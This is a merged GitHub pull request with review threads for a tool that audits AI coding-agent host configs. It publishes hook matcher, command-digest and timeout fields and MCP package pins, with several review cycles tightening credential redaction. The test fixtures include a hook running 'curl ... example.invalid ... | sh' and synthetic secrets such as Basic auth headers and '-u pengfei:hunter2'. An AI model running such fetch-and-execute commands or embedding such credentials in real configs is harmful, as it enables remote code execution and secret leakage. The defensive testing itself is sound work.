Skip to content

Publish hook matcher, command summary and timeout, and MCP launch arguments (#819) - #851

Merged
pengfei-threemoonslab merged 11 commits into
mainfrom
feat/819-hook-mcp-fields
Sep 23, 2026
Merged

pengfei-threemoonslab merged 11 commits into
mainfrom
feat/819-hook-mcp-fields

Conversation

@pengfei-threemoonslab

@pengfei-threemoonslab pengfei-threemoonslab commented Sep 22, 2026 •

Copy link
Copy Markdown
Contributor

Closes #819

Refs #795, #714, #802, #662

Problem

A hook row showed only its event, and an MCP row could not show launch arguments. diff, verify, the manifest-free PR comment and check printed the same ⚠ high widened claude-code .claude/settings.json PostToolUse → PostToolUse whether the edit was to the hook's matcher, its command or its timeout. A version pin moving from example-mcp-server@1.2.3 to @latest read docs: no difference in the command name npx, env key names or header key names; the change is in a detail this output does not show, such as the command's path or arguments.

The gap was in the engine, not the renderer. A hook grant carried access, config_sha256, event, grant_id, host, kind, risk, scope, source and nothing else, and an mcp_server grant had no arguments, so only config_sha256 saw the edit. On five of the 23 corpus PRs, the hook rows showed only event names.

Design

No command or argument text is published. Earlier drafts of this PR published redacted command words and arguments. Each of four review cycles found a credential the redaction rules missed inside free-form shell text (a quoted word, a -c script, a separator, a here-document). Per the PM decision of 2026-09-23, none of that text is published on any surface, and the free-text redaction rules this PR had added are gone.

Engine fields: host-grants 0.7, runtime contract 41. These extend two existing grants:

  • A hook grant adds handlers[] and omitted_handlers (at most sixteen handlers are listed). Each handler has:
  • executable is the last / or \ segment of the command's first whitespace-separated word, quotes around it removed. It is published only when it is a plain token ([A-Za-z0-9._+-], at most 80 characters) that no redaction rule rewrites, the word is not a shell reserved word such as if, and the word holds no ://; otherwise it is <not-shown>, so no part of a URL is named. It is a label, not a claim about what a host runs.
  • sha256 is the SHA-256 of the whole command as config_sha256's input holds it.
  • timeout is the number or boolean as declared. An over-80-digit integer is its cut digits, a string itself when it is a plain token, and anything else, a non-finite float among them, <not-shown>. A timeout written as text prints quoted (timeout 5 → "5", timeout true → "true").
  • An mcp_server grant adds package and args_sha256, both null when no args is declared.
    • package is the first argument that is a package specification of a strict shape: npm name@version or @scope/name@version (two or three numeric parts, a ^/~ range, or a common dist-tag), PyPI name==version, or an OCI image with a path and a tag or sha256 digest.
    • It must also be unchanged by both redaction rules and follow no flag but a package runner's own (-y, --yes, --package, --from, --spec, -i, --interactive, --rm, --init, -q, --quiet). So --pass hunter@1.2.3 and --token abc@1.2.3 publish no package.
    • args_sha256 is the SHA-256 of every argument, the package replaced by a marker and its position digested beside them, so a package-only edit names only the package.
  • The members are always present in a 0.7 grant, so a missing key means an earlier schema read the grant.
  • A hook declaration outside the documented shape publishes handlers: null, and its row says the matcher, command and timeout are not shown: the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings. When only one side is outside it, the row names that side (base or head) and lists the other side's handlers.
  • Plugin-selected hooks (Distinguish discovered Claude hook artifacts from proven host loading #714) and Codex hooks publish what their file declares. Their access/risk, why and expansion signal are unchanged.
  • endpoint, the MCP command name that 1.1.0 already publishes and compares, is unchanged.

Display only: left out of equality and every digest. Every new member is a function of the configuration as config_sha256's input holds it, so it can move only when that digest does. diff_host_grants and host_grants_sha256 read grants through compared_grant, which drops them. As a result:

  • A change is a row exactly when it was one before.
  • A rotated positional token, a header value's words after its scheme, and the value after a flag the digest's input does not name (--secret-key) are still rows, reading command changed or launch arguments changed.
  • A value the digest's own input already redacts (after --token, --api-key or --password, a --password=… value, an X-Api-Key: header value, a URL's path) moves no digest, so a change confined to it is no row, as on 1.1.0.
  • A saved baseline holds none of the members, in either scope. A saved 0.7 baseline's grants are the ones a 0.6 baseline holds, and inventory_sha256 is unchanged.
  • A 0.6 baseline compares with no new row or reason, and audit --host --save-baseline may now replace it. Older baselines are still refused.
  • The digest's credential-assignment rule gained a lookahead that removes its quadratic time on a long run of name characters. It matches exactly what it matched, so every config_sha256 is unchanged; a differential test pins that.

Rendering through the shared rows. capability_diff_rows gives hook rows the same _RowView.change that MCP rows got in #795, read only from the published handlers:

  • PostToolUse: matcher Edit → Edit|Write|Bash, PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc), PreToolUse: handler 2 timeout 5 → 50. Rows print a digest's first twelve hex digits.
  • A handler that only one side declares is +handler (…) or -handler (…).
  • The same published handlers in another order read the published handlers in a different order; a detail this output does not show may also differ, such as …. Equal published handlers never establish equal handlers.
  • An added or removed hook names its handlers.
  • MCP rows add package A → B and launch arguments changed (sha256:… → sha256:…), and an added server names its package. Their no-difference sentence names launch arguments among what was compared.

The PR comment keeps every line 1.1.0 kept. Its 6,000-character bound cuts at the first line that does not fit, so long entries could hide later rows, the coverage block, the change count, the review question, the reproduction and the advisory. The lines 1.1.0 printed get their room first (the coverage block's budget and the agent instruction block are chosen with every entry in its shortest form), and the entries get what is left: every entry whole if the comment fits; otherwise every longer entry cut, ending in …, to the widest length of at least 60 characters at which it does; otherwise entries in their shortest form, longest first: a field-level difference cut after its name (PreToolUse: …, docs: …), an added or removed grant as its row ((absent) → PreToolUse). No entry in that form is longer than the one 1.1.0 printed, and a permission rule's entry is never shortened. One line after the rows, not one per entry, says entries were shortened and that verifier.json holds each whole. A comment with no readiness report now points to verifier.json, not a report.md that route does not write, in a line as long as 1.1.0's.

The entry reaches:

  • diff, verify text, the PR comment and check text;
  • review.changes[].change in diff --json and in verifier.json.

Row values, the row count, check's boundary result and the control envelope's capability_rows are unchanged. No entry names a direction; #820 owns that.

Surface discipline.

Evidence (measured on this branch, 2026-09-23)

The issue's four fixtures. Before is the prepared release commit e3c6cb0c; after is this branch.

fixture before after
matcher PostToolUse → PostToolUse PostToolUse: matcher Edit → Edit|Write|Bash
command PostToolUse → PostToolUse PostToolUse: command changed (lint.sh sha256:d075f5f4772e → curl sha256:a510416cbecc)
timeout PostToolUse → PostToolUse PostToolUse: timeout 10 → 600
pin docs: no difference in the command name npx, env key names or header key names; … docs: package example-mcp-server@1.2.3 → example-mcp-server@latest

The same line appears in diff text and JSON, verify text and verifier.json, the PR comment, and check text. The JSON rows are unchanged: ("PostToolUse", "PostToolUse", "widened") and ("docs", "docs", "widened").

The 80 vendored benchmark cases. These are the host-config and cold-start cases: file pairs from real merged PRs. Each was rebuilt as a two-commit repository and run through diff --json on e3c6cb0c and on this branch.

  • Rows are byte-identical on all 80 cases.
  • 23 presented entries on 22 cases changed.
  • 8 changed hook/MCP entries were in the set. 7 of them were content-free before (PreToolUse → PreToolUse, or no difference in the command name …), and none is now. They come from six repositories; one case is vendored in both benchmarks. They now read:
    • mcp-outline: package mcp-outline==1.10.0 → mcp-outline==1.10.1 (both benchmarks)
    • ruleblast: package ruleblast@2.5.9 → ruleblast@2.5.11
    • jarvis: launch arguments changed (sha256:c5aaf27e194b → sha256:e79d1577b22b)
    • PreToolUse: handler 2 timeout 30 → 120
    • PreToolUse: +handler (matcher Edit|Write, command bash sha256:94eafc18278b, timeout 10)
    • PostToolUse: command changed (<not-shown> sha256:3d9520ec20f6 → <not-shown> sha256:ce5cd03355e0), a command that starts with if

Benchmark run of record. tests/test_host_config_replay.py, tests/test_cold_start_replay.py and tests/test_host_config_oracle_controls.py pass unchanged. No replay.json was re-recorded, and the published scores reproduce exactly.

Route readiness dry run. docs/design-partner-pilot-results.md's fixture was rerun through this tree's source beside e3c6cb0c. The check boundary result, the verify text and exit, the drift signals and the diff text are identical. The JSON differs only in schema versions, #821's coverage members, init's contract version and input id, and the added payments-remote grant's package: null and args_sha256: null. The ledger records that rerun.

Tests

tests/test_hook_mcp_detail_fields.py:

  • The issue's four fixtures on every route: diff text and JSON, verify text, verifier.json, the PR comment, and check text and boundary JSON, with the rows asserted unchanged.
  • Grant fields validated against the published v0.7 inventory, baseline and drift schemas, with the digest checked against an independent SHA-256 of the command.
  • No command or argument text reaches any artifact. Every payload the four earlier review cycles found a leak in, and plain argument words, run as hooks and MCP arguments through the inventory, diff text and JSON, verify text and every file it writes (the PR comment and verifier.json among them), check text and boundary JSON, a drift payload and a saved baseline. The cycle-4 payloads are among them: docker exec … sh -c, ssh host "…", sudo bash -c, kubectl exec … sh -c, nested scripts and MCP sh -c. So are the line-continuation and URL-separator shapes.
  • The executable and package rules, with negative controls: an assignment, an open quote, a URL, a token shape, a shell reserved word; admin:hunter2, deploy@host, --pass hunter@1.2.3, --token abc@1.2.3, a token-shaped name.
  • Digests: a rotated positional token, --secret-key value and header word after a scheme are rows; values the digest input already redacts stay quiet.
  • Reorders: the cycle-4 async case and the past-the-old-bound case, on every route.
  • The PR comment bound: eight long hook entries plus a permission addition and removal. Every row heading, the removed denial, the added allow and the review question are in pr-comment.md, within 6,000 characters. The cycle-6 reproductions (two hook scripts moved under 14 and 13 events, and 16 async-only edits) keep every row heading, entry and why, the coverage block, the review question, the reproduction, the advisory and the evidence line. A property test walks every room from where the lines printed with every entry in its shortest form alone fit to where every entry fits whole, and checks that each of those lines stays and each entry is whole, cut to at least 60 characters, or in a shortest form no longer than 1.1.0's; hooks, MCP servers, an added hook and server, and permission rules among them.
  • Timeouts: a timeout of 1 followed by 400 zeros on every route; text timeouts quoted on every route, true → "true" and Infinity → "inf" among them; and a table of numbers, non-finite floats, booleans, strings and other values.
  • Handler bounds, the matcher's label redaction and bound (applied to the text as the digest's input holds it, so two matchers that input holds alike publish alike), and args that is not a list.
  • Equality, digests and baselines: detail is left out of equality and digests; a 0.6 baseline stays comparable, and a legacy side renders event → event; --save-baseline replaces a 0.6 baseline and still refuses 0.5; local-static and git-ignored settings put no matcher, package, digest or argument into a saved baseline.
  • The digest's assignment rule matches exactly what it matched before its lookahead, over 20,000 random strings, and a 40,000-character credential word is read in well under a second. Every file shape an earlier review found quadratic, the cycle-5 matcher shapes among them, is read at the 1 MiB reader bound within the time bound.
  • Loading basis and shape: plugin-selected and Codex hooks keep their basis; a declaration outside the documented shape names the limit; a change to an unpublished setting (async) says it is not shown.

tests/test_host_diff_review_changes.py pins the MCP sentence, which now names launch arguments. The README and quickstart diff answers are the published 1.1.0 ones again: their billing server declares no package of the strict shape, so its entry is 1.1.0's.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 1 at d27bf790.

Not mergeable yet: the new command and argument detail publishes credentials that the published redaction rules say are hidden, and it writes home-directory values into a baseline that audit says to commit. The engine design itself holds up. Rows, row counts, equality and digests are unchanged, and the issue's four fixtures read as intended on every route. Three findings block merge. Every value below comes from a synthetic fixture run through ./shipgate on this head and on the prepared e3c6cb0c.

  1. P1: an Authorization credential after any scheme other than Bearer is published, and the text makes it look redacted.

    • Evidence: a head commit adds two things:

      • a hook curl -s -H "Authorization: Basic dXNlcjpwYXNz" … https://example.invalid/hook;
      • an MCP server with args ["-y","mcp-remote","https://mcp.example.invalid/sse","--header","Authorization: Basic dXNlcjpwYXNz"].

      Each of these prints 'Authorization: <redacted> dXNlcjpwYXNz': diff text, diff --json review.changes[].after, verify text, pr-comment.md, verifier.json, check --format text and audit --host --json.

    • Cause: _HEADER_SECRET_RE (core/host_grants.py:111) replaces only the first word after the colon, and the new _detail_label pre-pass (:827) special-cases only Bearer. The same thing happens with:

      • Authorization: Bot <token>: the first 80 characters of the token are published;
      • X-Auth-Token: abcdef123456: published, because the header rule names only five headers.
    • On e3c6cb0c: the same fixture's verify outputs contain none of these values (0 hits).

    • Docs: STABILITY.md:233 and the CHANGELOG say header credentials go through the redaction. The canary sweep covers only Bearer.

    • Context: permission-rule text on main has the same header gap through _sanitize_sensitive_string. This PR carries that gap to hook commands and MCP args, the two places where literal curl -H and --header credentials are most likely.

    • Fix:

      • In _detail_label, replace the whole value of Authorization/Proxy-Authorization (scheme and credential).
      • Also replace the value of any header whose name is_credential_key accepts (X-Auth-Token, api-key).
      • Add Basic and a custom-token-header canary to test_credentials_in_a_command_or_an_argument_are_never_published.
  2. P1: audit --host --scope local-static --save-baseline now writes home-directory hook commands and MCP arguments into the workspace baseline, and tells the user to "Commit it".

    • Evidence: with HOME set to a fixture holding:

      • ~/.claude/settings.json with a Stop hook curl -s -u pengfei:hunter2 -H "Authorization: Basic cGVuZ2ZlaTpodW50ZXIy" https://notify.example.invalid/x;
      • ~/.cursor/mcp.json with args ["--user","root","-p","hunter2","--auth","abcdEFGH1234"],

      audit --host --workspace . --scope local-static --save-baseline prints Host-grants baseline created: .agents-shipgate/host-grants.json … Commit it. On e3c6cb0c that file contains none of those values (0 hits). On this head it contains pengfei:hunter2, the Basic credential, -p hunter2 and --auth abcdEFGH1234.

    • Why a word rule cannot fix this: these values were never in the repository. The documented limit ("a short or word-like secret passed positionally … is published as written") means no word-level rule can keep them out.

    • Why dropping them is free: STABILITY says no comparison, row or route reads the baseline's copy of these members.

    • Context: user-level permission-rule text already reaches such a baseline on main. This PR adds the fields where credentials are most likely to be.

    • Fix:

      • Do not write handlers/args values for sources outside the repository (~/…, managed config) into the inventory or baseline. Alternatively, do not persist display members in baselines at all.
      • Add a test that a local-static baseline holds no value from a home-directory config.
      • Say so in the migration note.
  3. P2: MCP-argument redaction is narrower than the rules the code and docs state.

    • (a) Narrower than the digest's own rule. The digest's list rule (_redact_secret_values) redacts the value after a bare token, password, secret, cookie or authorization item. _published_words only does so after a word with a leading -.
      • args: ["serve","token","abcdef123456"] publishes serve token abcdef123456, while the digest input is serve token <redacted>.
      • This contradicts DISPLAY_ONLY_GRANT_FIELDS (core/host_grants.py:3852, "redacting at least what the digest's input redacts, so … it can change only when the digest does") and the docstring at tests/test_hook_mcp_detail_fields.py:320.
      • Rotating that value changes the published args with no row.
    • (b) Narrower than the hook path. ["--auth","abcdEFGH1234"] publishes as an MCP argument. The same words in a hook command publish --auth <redacted>: the whole-string _SPACE_ARG_SECRET_RE includes auth, but _is_credential_flag does not. schemas/host_grants.py:682 says each MCP arg is "redacted as a hook command's words are".
    • (c) Narrower than STABILITY's rule. --brave_api_key BSAabcdefgh12345 publishes on both paths. is_credential_key keeps _, so brave_api_key does not end in apikey. STABILITY.md:233 says a flag whose name "ends in a credential word such as … apikey" is redacted.
    • Fix:
      • In _published_words, redact after any word the digest's list rule treats as a marker, with or without dashes.
      • Add auth to the credential-flag names.
      • Normalize _ in the suffix check.
      • Add these three cases to test_one_argument_is_published_by_the_documented_rule.

Nonblocking (P3):

  • curl -u user:pass publishes the pair. This is within the documented limit, but it is a common hook pattern, and redacting after the : of a -u/--user value would be cheap.
  • The capability_diff row in docs/distribution-surfaces.md says "check retains argument redaction". check text now prints hook command and MCP arguments, and only permission-rule arguments stay hidden. "permission-rule argument redaction" would be exact.
  • A timeout edit from 5 to 5.0 is a row that says "no difference in the … timeout", while the published JSON differs.
  • bash -c "TOKEN=x ./run.sh" publishes -c TOKEN=<redacted> and drops the rest of the quoted word. That errs in the safe direction.
  • Pre-existing on both e3c6cb0c and this head: a TOML datetime in .codex/config.toml MCP args crashes audit --host with TypeError: Object of type datetime is not JSON serializable (from config_sha256). This is out of scope, but worth an issue.

Verified:

  • Issue fixtures. On e3c6cb0c, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads the no-difference sentence. On this head they read:
    • PostToolUse: matcher Edit → Edit|Write|Bash
    • PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh
    • PostToolUse: timeout 10 → 600
    • docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
  • Rows unchanged. rows[] in diff --json is unchanged. The entry text is in review.changes. check's boundary rows are unchanged.
  • Baseline compatibility.
    • A 0.6 baseline saved by e3c6cb0c stays comparable on this head: no changes, equal digests, and inventory_sha256 still verifies.
    • A timeout edit then gives exactly one hook_changed signal.
    • --save-baseline over the 0.6 file reports updated, and a 0.5 file is refused.
  • Codex hooks. A Codex hooks.json hook keeps access, risk and config_sha256, and publishes its handlers.
  • Hook entries. These read correctly:
    • handler 2 timeout 5 → 50;
    • a reorder;
    • +handler (matcher Edit, type prompt), with the prompt not published;
    • the not-shown limit for an undocumented shape;
    • the not-shown sentence for an async edit.
  • Escaping. Newlines and backticks in commands are escaped (\x0a, double-backtick span) in the text and in the PR comment.
  • Local checks: scripts/generate_schemas.py --check, scripts/regenerate_goldens.py --check (24 artifacts, 0 changed) and ruff check src tests scripts pass. 36 targeted test files also pass (1,922 passed, 3 skipped), among them test_hook_mcp_detail_fields, test_host_diff_review_changes, test_host_audit, test_distribution_surface_parity, test_host_config_replay, test_cold_start_replay and test_host_config_oracle_controls.
  • CI: green on d27bf790.

@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 1. New head e49650d558bad6d3734fd4ec42aaa6ddd9cc156d. I rebased onto daa4ad5f (#853), so the push was --force-with-lease from d27bf790. Commits: 3c3faa0b (the original change, rebased) and e49650d5 (this cycle).

Blocking

F1: header credentials after any scheme. Fixed. _detail_label now runs the label rule, then replaces the whole value of a credential written Name: value, scheme included, up to the closing quote or the end of the text (_DETAIL_HEADER_RE). It covers Authorization, Proxy-Authorization, Cookie and Set-Cookie, plus any header or key whose name is or ends in a credential word, such as X-Auth-Token, api-key, X-API-Key or a JSON "token":. A name only starts where a run of name characters starts, so the scan stays linear. The Bearer pre-pass is gone because this rule subsumes it. I ran the reviewer's shapes through _hook_command / _mcp_args:

input before (d27bf790) now
hook -H "Authorization: Basic dXNlcjpwYXNz" Authorization: <redacted> dXNlcjpwYXNz Authorization: <redacted>
hook -H "Authorization: Bot abcdefghijklmnopqrstuv.wxyz" Authorization: <redacted> abcdefghijklmnopqrstuv.wxyz Authorization: <redacted>
hook -H "X-Auth-Token: abcdef123456" X-Auth-Token: abcdef123456 X-Auth-Token: <redacted>
hook -H "Cookie: a=1; sess=zzz" Cookie: <redacted>; sess=zzz Cookie: <redacted>
MCP ["--header", "Authorization: Basic dXNlcjpwYXNz"] Authorization: <redacted> dXNlcjpwYXNz Authorization: <redacted>

test_credentials_in_a_command_or_an_argument_are_never_published adds canaries on two new surfaces. A new Stop hook carries a Basic header, an X-Auth-Token header and -u user:password. A new MCP server carries a Basic header, an api-key: header, a bare token, --auth and --brave_api_key. The sweep covers diff text and JSON, verify text, the PR comment, verifier.json and the other --out artifacts, check text, agent-boundary-json, audit --host --json, and now the saved baseline too. The digest's own string rule (_sanitize_sensitive_string) is unchanged, so permission-rule text on main keeps the gap you noted. Widening it would change config_sha256 inputs and give every committed baseline a spurious row on upgrade.

F2: home-directory values in a committed baseline. Fixed with your alternative: a saved baseline never holds the display-only members, whatever the source. I chose that over a source-based rule because repository scope also reads .claude/settings.local.json. That file is usually git-ignored, so a source rule would still have let its commands reach the committed file. Details:

  • build_host_grants_baseline saves each grant as compared_grant reads it, with no handlers, omitted_handlers, args or omitted_args.
  • HostGrantsBaselineV7 keeps the 0.6 snapshot, which forbids those members. A saved 0.7 baseline's grants are exactly a 0.6 baseline's. docs/host-grants-baseline-schema.v0.7.json is regenerated and differs from v0.6 only in its version.
  • inventory_sha256 is unaffected because the digest already left these members out.
  • Git-backed comparisons still render both sides through host_comparison_baseline. It applies the saved baseline's checks to the full normalized inventory and is never saved or loaded.

Reproduction of your fake-HOME case (~/.claude/settings.json Stop hook with -u pengfei:hunter2 and a Basic header, ~/.cursor/mcp.json args --user root -p hunter2 --auth abcdEFGH1234), audit --host --scope local-static --save-baseline:

value in .agents-shipgate/host-grants.json d27bf790 e49650d5
pengfei:hunter2 1 0
cGVuZ2ZlaTpodW50ZXIy 1 0
hunter2 (incl. -p hunter2) 2 0
abcdEFGH1234 1 0
inventory_sha256 5e406f56cd73… 5e406f56cd73… (same)

New tests:

  • test_a_local_static_baseline_holds_no_home_directory_command_or_argument (monkeypatched HOME/CODEX_HOME, through the CLI). The inventory still shows the detail. The baseline holds none of five canaries, including a -p short password, and no display member. --drift --fail-on-drift stays comparable with no drift. A changed home hook is still drift, and that change's baseline side has no handlers.
  • test_a_repository_baseline_holds_no_command_from_git_ignored_settings: the .claude/settings.local.json case.

The migration note has a new Saved baselines bullet, and the "hand edit to a baseline's copy" sentence is gone. The CHANGELOG, STABILITY preamble, agent contract (llms-full rebuilt), host-boundary support doc and distribution-surfaces row say the same.

F3: MCP-argument redaction narrower than the digest / hook path / rule text. Fixed.

  • (a) _published_words now redacts the word after any item the digest's list rule treats as a marker, with or without dashes. The rule is factored into _is_list_secret_marker, which _redact_secret_values, _url_capability_parts and the display now share. That refactor changes no behaviour.
  • (b) auth is now a credential-flag name, so --auth X is redacted.
  • (c) Flag names are compared with every character but letters and digits removed. --brave_api_key and --BRAVE-API-KEY therefore match the apikey ending.
  • test_one_argument_is_published_by_the_documented_rule now takes word lists, so it pins all three cases (serve token X, --auth X, --brave_api_key X) plus the header and -u shapes.
  • New test test_a_published_argument_redacts_at_least_what_the_digest_input_redacts checks the claim in the DISPLAY_ONLY_GRANT_FIELDS comment directly. Every argument _redact_secret_values redacts is published redacted too.

Non-blocking

  • curl -u user:pass: done. After -u, --user, -U or --proxy-user, and in --user=…, the value keeps its user and replaces what follows the first : (-u pengfei:<redacted>). docker run -u 1000:1000 over-redacts to 1000:<redacted>, which errs toward hiding.
  • distribution-surfaces wording: now "check retains permission-rule argument redaction".
  • timeout 5 → 5.0: handler fields now compare as their JSON publishes them, so the entry reads PostToolUse: timeout 5 → 5.0 (test_a_timeout_written_as_another_number_names_both). The reorder and the added/removed-handler matching use the same comparison.
  • bash -c "TOKEN=x ./run.sh": left as is. It over-redacts, as you note.
  • TOML datetime crash in .codex/config.toml args: out of scope. It is pre-existing on e3c6cb0c through config_sha256, and this PR's _mcp_args would fail at the same point after it. It needs its own issue; I did not open one.
  • source-tree label: after the rebase v1.1.0 is published at contract 40. llms.txt and docs/ai-search-summary.md therefore name v1.1.0 (contract 40) as the latest release and this tree's contract 41 as unreleased, which test_public_surface_contract requires. The 1.1.0 label on the source tree moves when main's version does.

Rebase

Main's #853 re-captured the README and quickstart diff answers from the published 1.1.0. This PR's quotes add args -y @example/billing-mcp, which 1.1.0 does not print. test_host_diff_entry_docs therefore requires both pages to use the not-yet-released label, naming the published 1.1.0 and what it prints instead. I rewrote both labels that way. The quickstart's other four answers still match _PUBLISHED_ANSWERS.

The pilot ledger keeps main's 2026-09-22 v1.1.0 measurement and the #819 source-tree rerun beside the release commit e3c6cb0c. Its table's source-tree column reads contract 41 and inventory schema 0.7. I did not re-run that dry run. The fixture has no hook and no MCP-argument change, and this cycle only changes redaction and what a saved baseline holds.

Verification

  • diff --json over all 80 vendored benchmark cases (host-config and cold-start) gives rows byte-identical to e3c6cb0c on all 80. Review entries are identical to d27bf790 on all 80, and 42 entries on 35 cases differ from 1.1.0, as the CHANGELOG states. After the rebase the dump is byte-identical to the pre-rebase one.
  • scripts/generate_schemas.py --check passes, llms-full is rebuilt, and ruff is clean.
  • Tests on the rebased head (54 files): test_hook_mcp_detail_fields, test_host_diff_entry_docs, test_design_partner_pilot, test_public_surface_contract, test_distribution_surface_parity, test_host_config_replay, test_cold_start_replay, test_host_audit, test_host_diff_review_changes, test_preflight, test_org_governance, test_schema_roundtrip, test_privacy, and every other test that references the baseline builder, the host comparison, the capability rows or the redaction helpers. Result: 2779 passed, 4 skipped. CI runs the full suite.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 1 at e49650d5.

Not mergeable yet: the new argument and command detail still publishes long credentials whose shape the redaction does not read as one word, and two smaller gaps contradict the published rules. The prior cycle's three blocking findings are fixed, and the engine design holds: rows, row counts, equality, digests and saved baselines are unchanged. The issue's four fixtures read as intended on every route. Every value below comes from a synthetic fixture run through ./shipgate on this head and on origin/main daa4ad5f, or from calling the head's own helpers directly.

  1. P1: long generated credentials that contain a ., : or ; are published verbatim.

    • Evidence, MCP arguments. A head commit adds three servers:

      • store: args ["-y","azure-storage-mcp","--connection-string","AccountName=acct;AccountKey=<88-char base64>"];
      • air: args ["-y","airtable-mcp","patAbCdEfGh123456.<64 hex>"], the Airtable PAT shape;
      • bot: args ["-y","discord-mcp","MTk4NjIy….Cl2FMQ.ZnCjm1XV…"], the Discord bot token shape.

      diff text, diff --json, verify text, pr-comment.md, verifier.json and check --format text all contain the Azure key (cut at 80 characters), the PAT's hex and the whole Discord token. On main the same fixture publishes none of them (0 hits in every output).

    • Evidence, hook commands. A new Stop hook bin/notify.sh SG.<22 chars>.<43 chars> (the SendGrid key shape) and a new Notification hook bin/tg.sh 123456789:AAH… (the Telegram bot token shape) print both tokens whole in diff, verify text, the PR comment and verifier.json. For example, Stop (command bin/notify.sh SG.AbCdEfGhIjKlMnOpQrStUv.WxYz0123456789…). On main they have 0 hits.

    • Also missed: a Mapbox secret token sk.eyJ….….

    • Cause:

      • _looks_generated only matches when the whole word is in [A-Za-z0-9+/=_-] (_DETAIL_GENERATED_RE.fullmatch, or _DETAIL_HEX_RE.fullmatch). A single ., : or ; makes it return False, however long the key is.
      • redact_text knows none of these shapes.
      • An AccountKey= inside a ;-joined string is not an env-style word, so the assignment rule does not catch it either.
    • Docs: the CHANGELOG says "a long generated-looking word [is] <redacted>". STABILITY names the only secrets that escape as "a short or word-like secret passed positionally, such as -p hunter2". None of these is short or word-like. The agreed scope for #819 says positional secrets must never publish.

    • Fix:

      • Run the generated-key test on each run of base64-alphabet characters inside a word, split at ., :, ;, , and @, and redact any run that matches.
      • Optionally, exempt an @sha256: image digest if that pin should stay visible.
      • Add the SendGrid, Telegram, Airtable PAT and Azure connection-string shapes to the canaries in test_credentials_in_a_command_or_an_argument_are_never_published.
  2. P2: a credential flag that directly follows another credential-named flag publishes its value, although the digest input redacts it.

    • Evidence (head helpers, _mcp_args against _redact_secret_values):
      • ["--no-password","--token","abc123"] publishes ['--no-password','<redacted>','abc123']. The digest input is ['--no-password','--token','<redacted>'].
      • The same happens for ["--auth","--token","abc123"] and ["--use-token","--api-key","k3y"].
    • Cause: _published_words replaces the flag that follows the first flag with <redacted>, clears redact_next, and never checks whether that replaced word was itself a credential flag.
    • Consequences:
      • The value after --token is published.
      • Rotating it changes the published args with no row.
      • This contradicts STABILITY ("A published argument therefore redacts at least what config_sha256's input redacts") and the DISPLAY_ONLY_GRANT_FIELDS comment, which is the claim cycle 1's F3 fixed.
    • Fix:
      • When the word being replaced is itself a credential flag or list marker, keep redact_next set, so both the flag and its value are replaced.
      • Or never consume a dashed credential flag as a value.
      • Add these cases to test_a_published_argument_redacts_at_least_what_the_digest_input_redacts.
  3. P2: a change in an argument past the twelve-argument bound reads "no difference in … arguments".

    • Evidence: the GitHub MCP docker server with 14 args (run -i --rm -e … -v /tmp/cache:/cache --network host ghcr.io/github/github-mcp-server:<tag>) moves its image tag from v0.5.0 to latest. That is the version-pin case #819 exists for.
      • On head: github: no difference in the command name docker, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting.
      • The grant publishes 12 args and omitted_args: 2 on both sides.
      • On main the sentence said "such as the command's path or arguments". The new text states that the arguments did not differ, and its list of unshown details does not include an argument past the bound.
      • The quickstart says an edit confined to "anything past the length bound … says so".
      • A hook with more than 16 handlers, or a change after the eighth word of a command, gets the matching hook sentence, which also names only "a redacted or shortened word".
    • Fix:
      • When either side's omitted_args (or omitted_handlers) is non-zero, say "the first 12 arguments" in the compared list.
      • Name "an argument past the first 12" (or "a handler past the first 16") as a detail this output does not show.
      • Add a test with 13 or more args and the pin in the last one.

Nonblocking (P3):

  • _DETAIL_HEADER_RE over-redacts a pin whose name ends in a credential word. For example, ghcr.io/org/secret:1.2.3 publishes ghcr.io/org/secret:<redacted>, so a tag change there reads as a redacted-argument change. This errs toward hiding.
  • Flags with a credential word in the middle publish their value, and so do bare short flags: --secret-key hunter2, --access-key X, --key X, --pass X, mysql -phunter2. This is within the documented -p hunter2 limit, but STABILITY's example could name these shapes so the limit is not read as covering -p alone.
  • In glued text, redact_text can consume a keyword before the header or space-argument rule sees it. For example, in …sk-secret--password hunter2 the sk- token pattern eats --password, and hunter2 is published while the digest input redacts it. I found this only in synthetic, fuzz-style input.
  • A positional e-mail address is published as written, for example Upstash's run dev@example.com <key> (the key itself is redacted).

Prior blocking findings (cycle 1 at d27bf790), re-verified at this head:

  • F1: fixed. _hook_command publishes all four hook shapes as Authorization: <redacted>, X-Auth-Token: <redacted> or Cookie: <redacted>: -H "Authorization: Basic dXNlcjpwYXNz", Authorization: Bot …, X-Auth-Token: abcdef123456 and Cookie: a=1; sess=zzz. The MCP ["--header","Authorization: Basic …"] publishes Authorization: <redacted> too.
  • F2: fixed. I used a fake HOME with the reviewer's ~/.claude/settings.json Stop hook and a ~/.cursor/mcp.json server whose args include -p hunter2, --auth abcdEFGH1234 and --pass s3cretpw. Then I ran audit --host --scope local-static --save-baseline:
    • .agents-shipgate/host-grants.json holds 0 hits for every canary;
    • no grant has handlers or args;
    • inventory_sha256 is 3e52535c6267…, identical to main's 0.6 baseline of the same fixture.
  • F3: fixed for the reported shapes. serve token X, --auth X and --brave_api_key X all publish <redacted>. Finding 2 above is a remaining gap in the same invariant.

Verified:

  • Issue fixtures. On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads the no-difference sentence. On head the same line appears in diff text and JSON, verify text, the PR comment, verifier.json and check text:

    • PostToolUse: matcher Edit → Edit|Write|Bash
    • PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh
    • PostToolUse: timeout 10 → 600
    • docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest

    rows[] is unchanged.

  • Display invariant. A 200k-case mutation fuzz checked that a change leaving config_sha256 unchanged also leaves the published detail unchanged. The only violations were finding 2 and the glued-text P3 above.

